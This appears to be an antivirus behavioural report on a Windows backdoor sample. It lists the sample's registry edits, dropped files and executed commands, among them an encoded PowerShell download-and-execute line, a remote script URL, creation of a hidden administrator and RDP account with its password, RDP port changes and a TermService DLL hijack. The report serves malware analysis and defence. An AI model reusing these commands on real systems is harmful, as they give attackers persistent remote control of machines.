Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\system\currentcontrolset\services\TermService\parameters] 'ServiceDLL' = '%WINDIR%\branding\mediasrv.png'
- [<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
Creates the following services
- 'umbus' system32\DRIVERS\umbus.sys
Malicious functions
Downloads
- https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Modifies file system
Creates the following files
- <Current directory>\promo.png
- %TEMP%\get-content.ps1
- %TEMP%\ready.ps1
- %WINDIR%\branding\mediasrv.png
- %WINDIR%\branding\mediasvc.png
- %WINDIR%\branding\wupsvc.jpg
- <SYSTEM32>\rfxvmt.dll
- %WINDIR%\temp\usrnm.txt
- <SYSTEM32>\microsoft\protect\s-1-5-20\90dc105b-371a-4a77-a98e-1d1d4c7a518e
- <SYSTEM32>\microsoft\protect\s-1-5-20\preferred
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %WINDIR%\serviceprofiles\networkservice\appdata\roaming\microsoft\windows\recent\customdestinations\gdevi8jmwdyx3guo8aud.temp
Moves the following files
- from %WINDIR%\serviceprofiles\networkservice\appdata\roaming\microsoft\windows\recent\customdestinations\gdevi8jmwdyx3guo8aud.temp to %WINDIR%\serviceprofiles\networkservice\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc xZal6BiF /add' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" wmitkbcybbfc$ /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc xZal6BiF' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wmic path win32_VideoController get name' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wmic CPU get NAME' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhA...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep bypass & '%TEMP%\\ready.ps1'
- '<SYSTEM32>\net1.exe' user WgaUtilAcc 000000 /del
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc xZal6BiF /add
- '<SYSTEM32>\net.exe' user WgaUtilAcc xZal6BiF /add
- '<SYSTEM32>\net1.exe' user WgaUtilAcc xZal6BiF /add
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Remote Desktop Users" wmitkbcybbfc$ /ADD
- '<SYSTEM32>\net.exe' LOCALGROUP "Remote Desktop Users" wmitkbcybbfc$ /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\cmd.exe' /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhA...
- '<SYSTEM32>\net.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\net1.exe' LOCALGROUP "Administrators" WgaUtilAcc /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc xZal6BiF
- '<SYSTEM32>\net.exe' user WgaUtilAcc xZal6BiF
- '<SYSTEM32>\net1.exe' user WgaUtilAcc xZal6BiF
- '<SYSTEM32>\cmd.exe' /C wmic path win32_VideoController get name
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /C wmic CPU get NAME
- '<SYSTEM32>\wbem\wmic.exe' CPU get NAME
- '<SYSTEM32>\net.exe' user WgaUtilAcc 000000 /del
- '<SYSTEM32>\net1.exe' LOCALGROUP "Remote Desktop Users" wmitkbcybbfc$ /ADD
- '<SYSTEM32>\cmd.exe' /C net.exe user WgaUtilAcc 000000 /del
- '<SYSTEM32>\reg.exe' ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -s -NoLogo -NoProfile
- '<SYSTEM32>\takeown.exe' /A /F rfxvmt.dll
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /inheritance:d
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /remove BUILTIN\Administrators
- '<SYSTEM32>\icacls.exe' rfxvmt.dll /grant BUILTIN\Administrators:RX
- '<SYSTEM32>\reg.exe' add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %WINDIR%\branding\mediasrv.png /f
- '<SYSTEM32>\net.exe' start TermService
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
- '<SYSTEM32>\net.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
- '<SYSTEM32>\net1.exe' localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
- '<SYSTEM32>\cmd.exe' /c cmd /c net start rdpdr
- '<SYSTEM32>\cmd.exe' /c net start rdpdr
- '<SYSTEM32>\net.exe' start rdpdr
- '<SYSTEM32>\net1.exe' start rdpdr
- '<SYSTEM32>\cmd.exe' /c cmd /c net start TermService
- '<SYSTEM32>\cmd.exe' /c net start TermService
- '<SYSTEM32>\net1.exe' start TermService
- '<SYSTEM32>\cmd.exe' /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0...